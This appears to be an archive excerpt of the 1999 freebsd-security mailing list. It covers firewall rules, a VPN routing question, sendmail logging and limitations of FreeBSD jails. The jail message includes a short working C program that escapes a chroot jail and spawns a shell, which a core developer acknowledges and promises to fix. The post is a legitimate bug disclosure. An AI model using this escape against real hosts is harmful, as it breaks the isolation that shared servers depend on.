<3.0.5.32.19990923152232.007c94c0@memes.com> <199909241733.LAA27644@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >At 11:49 AM 9/24/99 -0600, Nate Williams wrote: > > >Then use different software. Seriously, active-mode ftp is an exploit > >waiting to happen. Anyone can connect *from* port 20 on any box and > >connect to any site internal to your domain. Does the word > >'back-orifice' mean anything to you? > >Actually, that's TWO words. ;-) Seriously, I'm well aware of the issues >involved. There's no reason, however, to think that blocking incoming >connections from one particular port makes you safer from Trojans. A Trojan >can connect OUTWARD, too, and often does. > >And remember the eEye IIS exploit? It let you come into the hacked Web server >*on port 80*. So, any Web server that was accessible from the outside world >could be hacked from the outside world. And used to compromise the rest of >the >network, too. > >--Brett > I agree that you're not going to be able to completely protect your machines by instituting these policies but if you weigh the options, they're probably worth it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 11:29:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id 1DEDF14CF8 for ; Fri, 24 Sep 1999 11:29:41 -0700 (PDT) (envelope-from freebsd@deepwell.com) Received: (qmail 22904 invoked from network); 24 Sep 1999 19:15:23 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 24 Sep 1999 19:15:23 -0000 Message-Id: <4.2.0.58.19990924112627.018902c0@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 24 Sep 1999 11:28:18 -0700 To: nate@mt.sri.com (Nate Williams), freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: default rc.firewall In-Reply-To: <199909241733.LAA27644@mt.sri.com> References: <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <4.2.0.58.19990924111600.04809a90@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >Building a firewall is somtimes a hit/miss proposition because you never >know *what* kind of traffic is being generated on a LAN, and what I've >found is that too often I shut someone down from doing something they >think they want. > >(On the other hand, with the number of hacks available to the world, >we've been able to convince the users and management that some of the >'nice' services they like are no longer a good idea, usually by pointing >them to a CERT advisory and/or similar document explaing how we can get >broken into with the service. :( ) This happens to us quite frequently where we think we're implementing a good filter rule and someone comes along and say "But I want to share my win98 drives to the Internet" or something equally stupid. Hrrrmph. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 15:30:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.tepucom.nl (mail.tepucom.nl [195.81.12.5]) by hub.freebsd.org (Postfix) with ESMTP id 0FC3115148 for ; Fri, 24 Sep 1999 15:30:21 -0700 (PDT) (envelope-from theo@tepucom.nl) Received: from kantoor-1.tepucom.nl (kantoor-1.tepucom.nl [192.168.1.22]) by mail.tepucom.nl (8.9.3/8.9.3) with SMTP id AAA11293 for ; Sat, 25 Sep 1999 00:28:48 +0200 (CEST) (envelope-from theo@tepucom.nl) Received: by kantoor-1.tepucom.nl with Microsoft Mail id <01BF06EA.77C24EC0@kantoor-1.tepucom.nl>; Sat, 25 Sep 1999 00:11:09 +-200 Message-ID: <01BF06EA.77C24EC0@kantoor-1.tepucom.nl> From: "Theo Purmer (Tepucom)" To: "'freebsd-security@FreeBSD.ORG'" Subject: skip and vpn Date: Sat, 25 Sep 1999 00:11:07 +-200 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi all..... got a problem here with skip and a vpn ive got two gateways running ipf, ipnat and skip. it all works the gateways are on the internet...(far apart) on the inside of the gateways im using rfc1918 networks. I want to be able to go from one internal network via the vpn (using skip for encryption) to the other internal network. but i cannot just set up a route for the other internal network using the other skip gateway. I then get arp errors cuz it wants the other gateway to be on his subnet anybody got any ideas as how to get the tunnel running? thanks theo purmer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 15:39:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from kinetic.tiora.net (kinetic.tiora.net [206.251.130.15]) by hub.freebsd.org (Postfix) with ESMTP id 45B54151E6 for ; Fri, 24 Sep 1999 15:39:50 -0700 (PDT) (envelope-from liam@kinetic.tiora.net) Received: from localhost (liam@localhost) by kinetic.tiora.net (8.9.3/8.9.3) with ESMTP id PAA12717; Fri, 24 Sep 1999 15:38:34 -0700 (PDT) Date: Fri, 24 Sep 1999 15:38:34 -0700 (PDT) From: Liam Slusser To: "Theo Purmer (Tepucom)" Cc: "'freebsd-security@FreeBSD.ORG'" Subject: Re: skip and vpn In-Reply-To: <01BF06EA.77C24EC0@kantoor-1.tepucom.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Have you though about ppp through an ssh connection? liam System Administrator Tiora Networks | www.tiora.net <---- tiora's webpage www.tiora.net/~liam <----- homepage | liam@tiora.net <-- my email address Lowered turbo powered Honda Civic's are really cool. <---------- my quote On Sat, 25 Sep 1999, Theo Purmer (Tepucom) wrote: > Hi all..... > > got a problem here with skip and a vpn > > ive got two gateways running ipf, ipnat and skip. > it all works the gateways are on the internet...(far apart) > > on the inside of the gateways im using rfc1918 > networks. I want to be able to go from one internal > network via the vpn (using skip for encryption) to > the other internal network. > > but i cannot just set up a route for the other internal > network using the other skip gateway. I then get arp > errors cuz it wants the other gateway to be on his > subnet > > anybody got any ideas as how to get the tunnel running? > > thanks > > theo purmer > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 16:16:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 909FC1505A for ; Fri, 24 Sep 1999 16:16:22 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.2/8.9.2) id QAA55073; Fri, 24 Sep 1999 16:14:55 -0700 (PDT) From: Archie Cobbs Message-Id: <199909242314.QAA55073@bubba.whistle.com> Subject: Re: skip and vpn In-Reply-To: <01BF06EA.77C24EC0@kantoor-1.tepucom.nl> from "Theo Purmer (Tepucom)" at "Sep 25, 1999 00:11:07 am" To: theo@tepucom.nl (Theo Purmer (Tepucom)) Date: Fri, 24 Sep 1999 16:14:55 -0700 (PDT) Cc: freebsd-security@FreeBSD.ORG ('freebsd-security@FreeBSD.ORG') X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Theo Purmer (Tepucom) writes: > got a problem here with skip and a vpn > > ive got two gateways running ipf, ipnat and skip. > it all works the gateways are on the internet...(far apart) > > on the inside of the gateways im using rfc1918 > networks. I want to be able to go from one internal > network via the vpn (using skip for encryption) to > the other internal network. > > but i cannot just set up a route for the other internal > network using the other skip gateway. I then get arp > errors cuz it wants the other gateway to be on his > subnet Are the local and remote rfc1918 network ranges disjoint? If not they must be. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 16:49:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 51226151F0 for ; Fri, 24 Sep 1999 16:49:15 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.2/8.9.2) id QAA55234; Fri, 24 Sep 1999 16:48:35 -0700 (PDT) From: Archie Cobbs Message-Id: <199909242348.QAA55234@bubba.whistle.com> Subject: Re: AW: skip and vpn In-Reply-To: <01BF06F1.D81FA220@kantoor-1.tepucom.nl> from "Theo Purmer (Tepucom)" at "Sep 25, 1999 01:03:55 am" To: theo@tepucom.nl (Theo Purmer (Tepucom)) Date: Fri, 24 Sep 1999 16:48:35 -0700 (PDT) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Theo Purmer (Tepucom) writes: > one is 192.168.1.0/24 > > other is 192.168.2.0/24 OK, so they are disjoint (they don't overlap). Nevermind that idea. Did you add routes for the rfc1918 networks? I think you should not. But now my memory is getting hazy... Clearly machine A shouldn't be ARP'ing for the remote network addresses. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 16:58:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from loki.iss.net (loki.iss.net [208.21.0.3]) by hub.freebsd.org (Postfix) with ESMTP id 8EA9415227 for ; Fri, 24 Sep 1999 16:58:22 -0700 (PDT) (envelope-from rmooney@iss.net) Received: from arden.iss.net (IDENT:rmooney@arden.iss.net [208.21.0.8]) by loki.iss.net (8.9.3/8.9.3) with SMTP id TAA16374; Fri, 24 Sep 1999 19:55:56 -0400 Date: Fri, 24 Sep 1999 19:57:46 -0400 (EDT) From: Robert Mooney Reply-To: Robert Mooney To: Liam Slusser Cc: "Theo Purmer (Tepucom)" , "'freebsd-security@FreeBSD.ORG'" Subject: Re: skip and vpn In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org something i did a while ago: http://eng.iss.net/~rmooney/projects/post.html if it's lame, let me know. it's been a while since i've used it. :) - rob On Fri, 24 Sep 1999, Liam Slusser wrote: > > Have you though about ppp through an ssh connection? > > liam > > System Administrator Tiora Networks | www.tiora.net <---- tiora's webpage > www.tiora.net/~liam <----- homepage | liam@tiora.net <-- my email address > Lowered turbo powered Honda Civic's are really cool. <---------- my quote > > On Sat, 25 Sep 1999, Theo Purmer (Tepucom) wrote: > > > Hi all..... > > > > got a problem here with skip and a vpn > > > > ive got two gateways running ipf, ipnat and skip. > > it all works the gateways are on the internet...(far apart) > > > > on the inside of the gateways im using rfc1918 > > networks. I want to be able to go from one internal > > network via the vpn (using skip for encryption) to > > the other internal network. > > > > but i cannot just set up a route for the other internal > > network using the other skip gateway. I then get arp > > errors cuz it wants the other gateway to be on his > > subnet > > > > anybody got any ideas as how to get the tunnel running? > > > > thanks > > > > theo purmer > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 1:21:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from mark.iacan.org (mark.iacan.org [208.1.106.133]) by hub.freebsd.org (Postfix) with ESMTP id 57C2F15132 for ; Sat, 25 Sep 1999 01:21:17 -0700 (PDT) (envelope-from kgun@mark.iacan.org) Received: (from kgun@localhost) by mark.iacan.org (8.9.3/8.9.3) id CAA02949 for freebsd-security@freebsd.org; Sat, 25 Sep 1999 02:21:16 -0600 (MDT) (envelope-from kgun) Date: Sat, 25 Sep 1999 02:21:16 -0600 From: "K. Gunderson" To: freebsd-security@freebsd.org Subject: biff, sendmail, and logs Message-ID: <19990925022116.A2920@mark.iacan.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello: I configured a 3.2 box and following the suggestion in the security how-to by jkb disabled inetd. So okay, comsat is now not running so I get lots of these messages in /var/log/messages: Connection attempt to UDP 127.0.0.1:512 from 127.0.0.1:2036 So.... I figured out that this was coming from the mail.local setting in sendmail.cf and added a -b flag to line 1070 get the following: 1068 Mlocal, P=/usr/libexec/mail.local, blah,blah,blah... 1069 T=DNS/RFC822/X-Unix, 1070 A=mail.local -l -b Is this the correct way to be doing this? I've seen this question come up before but searching the archives I've been unable to find the fix. -- Thanks--Ken http://www.y2know.org/safari Failure is not an option, it comes bundled with your Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 1:51:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from prime.net.ua (P1M11.prime.net.ua [195.64.229.43]) by hub.freebsd.org (Postfix) with ESMTP id 793A114D36 for ; Sat, 25 Sep 1999 01:51:45 -0700 (PDT) (envelope-from andyo@prime.net.ua) Received: from prime.net.ua (localhost [127.0.0.1]) by prime.net.ua (8.9.3/8.9.3) with ESMTP id LAA35228; Sat, 25 Sep 1999 11:52:22 +0300 (EEST) Message-ID: <37EC8D42.F369F804@prime.net.ua> Date: Sat, 25 Sep 1999 11:52:19 +0300 From: "Andy V. Oleynik" X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 3.3-STABLE i386) X-Accept-Language: ru, en, uk MIME-Version: 1.0 To: "K. Gunderson" Cc: freebsd-security@FreeBSD.ORG Subject: Re: biff, sendmail, and logs References: <19990925022116.A2920@mark.iacan.org> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "K. Gunderson" wrote: > Hello: > > I configured a 3.2 box and following the suggestion in the security how-to by jkb > disabled inetd. So okay, comsat is now not running so I get lots of these > messages in /var/log/messages: > > Connection attempt to UDP 127.0.0.1:512 from 127.0.0.1:2036 > > So.... I figured out that this was coming from the mail.local setting in > sendmail.cf and added a -b flag to line 1070 get the following: > > 1068 Mlocal, P=/usr/libexec/mail.local, blah,blah,blah... > 1069 T=DNS/RFC822/X-Unix, > 1070 A=mail.local -l -b > strange... I configured sendmail 8.9.3 on 3.3 box and have : Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail -d $u > > Is this the correct way to be doing this? I've seen this question come > up before but searching the archives I've been unable to find the fix. > > -- > Thanks--Ken > http://www.y2know.org/safari > > Failure is not an option, it comes bundled with your Microsoft product. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- WBW Andy V. Oleynik PGP key's fingerprint prime.net.ua's D0 1E 7B B4 33 65 49 97 9C 79 7C 64 5C 9C F3 25 system administrator +380442448363 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 2:30: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 5378C14EF1; Sat, 25 Sep 1999 02:30:01 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA92600; Sat, 25 Sep 1999 11:29:46 +0200 (CEST) (envelope-from des) To: "A.Y. Sjarifuddin" Cc: questions@freebsd.org Subject: Re: RAM 1 Gbytes and Mylex References: <199909201021.OAA00729@paranoid.eltex.spb.ru> <37E99C63.34A792CC@cbn.net.id> From: Dag-Erling Smorgrav Date: 25 Sep 1999 11:29:46 +0200 In-Reply-To: "A.Y. Sjarifuddin"'s message of "Thu, 23 Sep 1999 10:20:03 +0700" Message-ID: Lines: 12 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "A.Y. Sjarifuddin" writes: > I was wondering if freebsd now can handle RAM over 1 Gbytes > and support Mylex 86238 (i960) This does not belong on freebsd-security. Yes, FreeBSD supports machines with more than 1 GB RAM, and has for a long time. About the Mylex, I don't know. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 2:35:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id AC4B214D89 for ; Sat, 25 Sep 1999 02:35:32 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA92611; Sat, 25 Sep 1999 11:35:20 +0200 (CEST) (envelope-from des) To: tim@iafrica.com.na Cc: The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Secure gateway to intranet References: <4.1.19990923205643.0095ce70@mail.thegrid.net> <99092413411000.21169@310.priebe.alt.na> From: Dag-Erling Smorgrav Date: 25 Sep 1999 11:35:19 +0200 In-Reply-To: Tim Priebe's message of "Fri, 24 Sep 1999 13:28:37 +0200" Message-ID: Lines: 11 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Tim Priebe writes: > My solution to a similar problem is to use ipfw rules, together with ssh. I > have a small number of fixed ip addresses on the outside, that are allowed to > connect to a small number of fixed addresses on the inside. Logging can be done > with the tcp setup packets. Won't work if the internal network is NATed. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 3:55: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from foobar.franken.de (foobar.franken.de [194.94.249.81]) by hub.freebsd.org (Postfix) with ESMTP id AFCD214D1D for ; Sat, 25 Sep 1999 03:54:54 -0700 (PDT) (envelope-from logix@foobar.franken.de) Received: (from logix@localhost) by foobar.franken.de (8.8.8/8.8.5) id MAA13953; Sat, 25 Sep 1999 12:51:09 +0200 (CEST) Message-ID: <19990925125108.A13871@foobar.franken.de> Date: Sat, 25 Sep 1999 12:51:08 +0200 From: Harold Gutch To: Brett Glass , Nate Williams Cc: Monte Westlund , freebsd-security@FreeBSD.ORG Subject: Re: default rc.firewall References: <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <4.2.0.58.19990924111600.04809a90@localhost> <199909241733.LAA27644@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <4.2.0.58.19990924113626.0480db00@localhost>; from Brett Glass on Fri, Sep 24, 1999 at 11:41:55AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Sep 24, 1999 at 11:41:55AM -0600, Brett Glass wrote: > At 11:33 AM 9/24/99 -0600, Nate Williams wrote: > > >Why are you allowing connections from your WWW server to folks? WWW > >traffic isn't generated *from* your server, but to your server. > > Ah, but the same box is also doing NAT for internal machines. If > connections on port 80 weren't allowed OUT, then people on the > local "subnet 10" couldn't browse the Web. The person who posted > the original message of this thread seemed to want NAT to work > (please correct me if I'm wrong here). > But in this case you don't want to allow SYN-Packets coming from the inside with *source* port 80, but with *destination* port 80. Instead of $fwcmd add pass tcp from ${oip} 80 to any setup you'd want $fwcmd add pass tcp from ${oip} to any 80 setup Alternatively set up a proxy that your users have to use. bye, Harold -- Sleep is an abstinence syndrome wich occurs due to lack of caffein. Wed Mar 4 04:53:33 CET 1998 #unix, ircnet To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 5:11: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from mx1.lublin.pl (mx1.lublin.pl [212.182.63.76]) by hub.freebsd.org (Postfix) with ESMTP id C2A8014DFC for ; Sat, 25 Sep 1999 05:10:55 -0700 (PDT) (envelope-from venglin@FreeBSD.lublin.pl) Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:29192 "HELO lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id ; Sat, 25 Sep 1999 14:10:47 +0200 Received: (qmail 48397 invoked by uid 66); 25 Sep 1999 12:10:58 -0000 Received: (qmail 59878 invoked from network); 25 Sep 1999 06:33:27 -0000 Received: from lagoon.gadaczka.org (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 25 Sep 1999 06:33:27 -0000 Message-ID: X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 In-Reply-To: X-Operating-System: FreeBSD 3.3-STABLE (i386) X-SMS: +48601383657@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-GeekCode-1: GED d- s+:- a16 C+++ ULB++++$ P+>+++ L+++ E+ W+++$ N+++ X-GeekCode-2: o? K? w--- O M- V PS PE+ Y PGP++ t+ 5 X++ R tv++ b++ DI+ X-GeekCode-3: D++ G e- h! r !y+ Date: Sat, 25 Sep 1999 08:33:17 +0200 (CEST) Organization: Lublin BSD Users Group (www.FreeBSD.lublin.pl) From: Przemyslaw Frasunek To: Chris Shenton Subject: RE: Inetd -l: log *all* connection attempts (not just valid svcs Cc: freebsd-security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- On 23-Sep-99 Chris Shenton wrote: > I'd like a way to log *all* network connection attempts, especially > attempts to services which aren't defined. This would allow me to spot > people scanning my host (where only a few services are enabled). look at www.FreeBSD.lublin.pl/Sources/plogd.c - --- * Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-062409 * * Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBN+xsrNO5/yfsePq1AQFc+AQAl7u7o1vvmoatll1K/p+AXt66pWLtbH8F qnzuZBNIg5Mz7XcD87EPafLLGbgi4lJgm7Fq7BubNVjqJfBWd7Nicm3s0aXz92+s DOLqNMPWAPAsdBUQN6xE9RMEAoEq00vOejqxvcoNyw7jkL6uCV9XLi7ms5f63nzJ WJa9zSvCKb0= =KyVK -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 6:17:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from relay2.aha.ru (relay2.aha.ru [195.2.64.35]) by hub.freebsd.org (Postfix) with ESMTP id 5353D14EB9; Sat, 25 Sep 1999 06:17:31 -0700 (PDT) (envelope-from abb@zenon.net) Received: from pb.hq.zenon.net (pb [195.2.64.18]) by relay2.aha.ru (8.9.3/8.9.3/aha-r/0.04B) with ESMTP id RAA46063; Sat, 25 Sep 1999 17:17:12 +0400 (MSD) Received: from mp.hq.zenon.net (mp [192.168.9.150]) by pb.hq.zenon.net (8.9.3/8.9.3) with ESMTP id RAA67010; Sat, 25 Sep 1999 17:17:12 +0400 (MSD) Received: (from abb@localhost) by mp.hq.zenon.net (8.9.3/8.9.3) id RAA81647; Sat, 25 Sep 1999 17:17:12 +0400 (MSD) Message-ID: <19990925171712.A80535@zenon.net> Date: Sat, 25 Sep 1999 17:17:12 +0400 From: Alexander Bezroutchko To: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org Subject: about jail References: <199909251302.RAA58030@grendel.sovlink.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199909251302.RAA58030@grendel.sovlink.ru>; from NT User on Sat, Sep 25, 1999 at 05:02:30PM +0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I am looking for a way to use jail feature (when it will be back ported to -STABLE) for providing virtual servers with root access (something like www.servetheweb.com). Therefore I am investigating this feature more closely. For now I have encountered following problems: * ping, traceroute doesn't work due to lack of permissionis to create icmp socket. I think it is simple to make workaround for such problems: create a daemon listening on a unix domain socket for request from a jail. Daemon will take request and the pid of requesting process, validate it, process and return answer to client. * only one IP address is available in jail It is acceptable limitation, but some daemons would like to use localhost address (127.0.0.1). * whole kernel MIB is readable, and kern.hostname is writable from jail I think we should restrict information about system available from jail -- leave readable only data required for proper work of libc functions like gethostname,getpagesize,sysconf, etc. If we leave kern.hostname writable from jail, we should add new field to `struct jail', say `jailname'. It is necessary to iidentify exactly which jail a process belongs to. And /proc//status must show this value. (I think it will be useful to add displaying `jailname' to ps and probably top). * scheduling Scheduler must provide equal time quantum to each jail. I think something like "fair share scheduler" required. Is there any plans to implement such scheme in FreeBSD ? * resource limits Current resource limit scheme does not provide enough isolation of jails. For example, chgproccnt() maintains counters of number of process per uid, but it they are system-wide. So number of process running in one jail will affect fork() at another jail. Also it would be great to have ability to limit number of simultaneous processes running in jail and memory consumed by whole jail. * it is possible to escape from jail Following program escapes from jail (tested under 4.0-19990918-CURRENT): /* --- start of example ------------------------- */ #include #include const char *shell = "/bin/sh"; const char *lowerdir = "/tmp"; int main() { int i; assert(chdir("/") != -1); assert(chroot(lowerdir) != -1); for (i = 0; i < 32; i++) assert(chdir("..") != -1); assert(chroot(".") != -1); assert(execl(shell, shell, NULL) != -1); }; /* --- end of example --------------------------- */ Does anybody know where I can find more information about well known methods of breaking chroot ? Does anybody already encountered and solved problems described above or have an ideas ? -- Alexander Bezroutchko, Systems Administrator, Zenon N.S.P. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 6:34:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id BEA4D14C99; Sat, 25 Sep 1999 06:34:41 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id PAA11746; Sat, 25 Sep 1999 15:34:32 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Alexander Bezroutchko Cc: freebsd-security@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: about jail In-reply-to: Your message of "Sat, 25 Sep 1999 17:17:12 +0400." <19990925171712.A80535@zenon.net> Date: Sat, 25 Sep 1999 15:34:31 +0200 Message-ID: <11744.938266471@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19990925171712.A80535@zenon.net>, Alexander Bezroutchko writes: >* ping, traceroute doesn't work due to lack of permissionis to create icmp socket. > I think it is simple to make workaround for such problems: > create a daemon listening on a unix domain socket for request from a jail. > Daemon will take request and the pid of requesting process, validate it, > process and return answer to client. That would work. >* only one IP address is available in jail > It is acceptable limitation, but some daemons would like to use localhost > address (127.0.0.1). 127.0.0.1 is mapped to the jail address. telnet localhost does what you'd expect it to. >* whole kernel MIB is readable, and kern.hostname is writable from jail > I think we should restrict information about system available from jail -- > leave readable only data required for proper work of libc > functions like gethostname,getpagesize,sysconf, etc. kern.hostname only writes the name for that jail. > If we leave kern.hostname writable from jail, we should > add new field to `struct jail', say `jailname'. It's called "p_prison->pr_host" and it was there from day #1. > And > /proc//status must show this value. It already does. >* scheduling > Scheduler must provide equal time quantum to each jail. I think > something like "fair share scheduler" required. Is there any plans > to implement such scheme in FreeBSD ? Not from me. >* resource limits > Current resource limit scheme does not provide enough isolation of jails. no plans. >* it is possible to escape from jail > Following program escapes from jail (tested under 4.0-19990918-CURRENT): You're right, I've overlooked that one. Will fix. >Does anybody already encountered and solved problems described above >or have an ideas ? No, this is the first one I've heard about. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 6:41:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from foobar.franken.de (foobar.franken.de [194.94.249.81]) by hub.freebsd.org (Postfix) with ESMTP id 3C7F314A04; Sat, 25 Sep 1999 06:41:03 -0700 (PDT) (envelope-from logix@foobar.franken.de) Received: (from logix@localhost) by foobar.franken.de (8.8.8/8.8.5) id PAA14293; Sat, 25 Sep 1999 15:38:29 +0200 (CEST) Message-ID: <19990925153829.B14097@foobar.franken.de> Date: Sat, 25 Sep 